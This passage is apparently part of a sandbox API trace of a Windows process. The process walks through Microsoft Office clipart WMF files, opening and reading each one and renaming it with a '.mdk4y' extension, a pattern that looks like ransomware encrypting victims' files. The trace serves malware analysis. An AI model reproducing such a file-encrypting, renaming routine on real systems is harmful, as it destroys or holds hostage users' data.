(in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.481] AreFileApisANSI () returned 1 [0173.481] GetACP () returned 0x4e4 [0173.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00177_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00177_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.481] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871200000) returned 1 [0173.482] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8f0e, lpOverlapped=0x0) returned 1 [0173.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871300000) returned 1 [0173.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871300000) returned 1 [0173.483] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.mdk4y")) returned 1 [0173.484] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.484] AreFileApisANSI () returned 1 [0173.484] GetACP () returned 0x4e4 [0173.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00183_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00183_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.484] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871500000) returned 1 [0173.485] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x283c, lpOverlapped=0x0) returned 1 [0173.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871600000) returned 1 [0173.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871600000) returned 1 [0173.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.mdk4y")) returned 1 [0173.487] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.487] AreFileApisANSI () returned 1 [0173.487] GetACP () returned 0x4e4 [0173.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00190_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00190_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.487] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871800000) returned 1 [0173.488] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x514c, lpOverlapped=0x0) returned 1 [0173.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871900000) returned 1 [0173.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871900000) returned 1 [0173.490] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.mdk4y")) returned 1 [0173.491] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.491] AreFileApisANSI () returned 1 [0173.491] GetACP () returned 0x4e4 [0173.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00191_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00191_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.491] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824872100000) returned 1 [0173.491] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2090, lpOverlapped=0x0) returned 1 [0173.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824872300000) returned 1 [0173.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824872300000) returned 1 [0173.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.mdk4y")) returned 1 [0173.494] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.494] AreFileApisANSI () returned 1 [0173.494] GetACP () returned 0x4e4 [0173.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00192_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00192_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.494] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824872500000) returned 1 [0173.495] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x280c, lpOverlapped=0x0) returned 1 [0173.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873000000) returned 1 [0173.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873000000) returned 1 [0173.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.mdk4y")) returned 1 [0173.502] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.502] AreFileApisANSI () returned 1 [0173.502] GetACP () returned 0x4e4 [0173.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00194_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00194_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.502] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873200000) returned 1 [0173.503] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27c0, lpOverlapped=0x0) returned 1 [0173.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873400000) returned 1 [0173.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873400000) returned 1 [0173.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.mdk4y")) returned 1 [0173.505] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.505] AreFileApisANSI () returned 1 [0173.505] GetACP () returned 0x4e4 [0173.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00197_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00197_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.505] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.506] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873600000) returned 1 [0173.506] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x238c, lpOverlapped=0x0) returned 1 [0173.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873700000) returned 1 [0173.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873700000) returned 1 [0173.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.mdk4y")) returned 1 [0173.509] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.509] AreFileApisANSI () returned 1 [0173.509] GetACP () returned 0x4e4 [0173.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00199_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00199_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.509] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824873900000) returned 1 [0173.509] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15fe, lpOverlapped=0x0) returned 1 [0173.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824874700000) returned 1 [0173.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824874700000) returned 1 [0173.517] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.mdk4y")) returned 1 [0173.518] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.518] AreFileApisANSI () returned 1 [0173.518] GetACP () returned 0x4e4 [0173.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00200_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00200_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.518] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824874900000) returned 1 [0173.520] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2926, lpOverlapped=0x0) returned 1 [0173.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824875500000) returned 1 [0173.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824875500000) returned 1 [0173.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.mdk4y")) returned 1 [0173.526] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.526] AreFileApisANSI () returned 1 [0173.526] GetACP () returned 0x4e4 [0173.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00208_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00208_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.526] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824875700000) returned 1 [0173.527] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ea0, lpOverlapped=0x0) returned 1 [0173.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824875800000) returned 1 [0173.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824875800000) returned 1 [0173.529] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.mdk4y")) returned 1 [0173.529] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.530] AreFileApisANSI () returned 1 [0173.530] GetACP () returned 0x4e4 [0173.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00212_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00212_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.530] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824876100000) returned 1 [0173.531] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f72, lpOverlapped=0x0) returned 1 [0173.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824876200000) returned 1 [0173.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824876200000) returned 1 [0173.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.mdk4y")) returned 1 [0173.533] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.533] AreFileApisANSI () returned 1 [0173.533] GetACP () returned 0x4e4 [0173.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00221_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00221_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.533] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824876300000) returned 1 [0173.533] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f74, lpOverlapped=0x0) returned 1 [0173.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824877400000) returned 1 [0173.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824877400000) returned 1 [0173.545] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.mdk4y")) returned 1 [0173.546] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.546] AreFileApisANSI () returned 1 [0173.546] GetACP () returned 0x4e4 [0173.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00222_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00222_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.546] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824877700000) returned 1 [0173.547] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e5c, lpOverlapped=0x0) returned 1 [0173.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824877800000) returned 1 [0173.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824877800000) returned 1 [0173.549] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.mdk4y")) returned 1 [0173.549] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.549] AreFileApisANSI () returned 1 [0173.549] GetACP () returned 0x4e4 [0173.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00223_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00223_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.550] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824878100000) returned 1 [0173.551] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3642, lpOverlapped=0x0) returned 1 [0173.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824879500000) returned 1 [0173.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824879500000) returned 1 [0173.566] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.mdk4y")) returned 1 [0173.567] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.567] AreFileApisANSI () returned 1 [0173.567] GetACP () returned 0x4e4 [0173.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00257_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, 